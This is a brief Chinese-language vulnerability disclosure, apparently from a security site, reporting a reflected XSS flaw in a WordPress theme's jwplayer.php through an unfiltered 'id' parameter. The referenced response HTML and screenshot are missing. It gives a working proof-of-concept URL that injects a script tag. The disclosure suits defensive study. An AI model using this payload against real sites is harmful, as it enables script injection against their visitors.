wordpress的Stanford theme在wp-content/themes/stvp/jwplayer.php处存在XSS漏洞
响应html内容为:

id参数未进行过滤,导致html注入(如上图中'1131'探针位置)
利用链接为:
```
/wp-content/themes/stvp/jwplayer.php?id=%22%3E%3Cscript%3Ealert(/sebug/)%3C/script%3E
```

暂无评论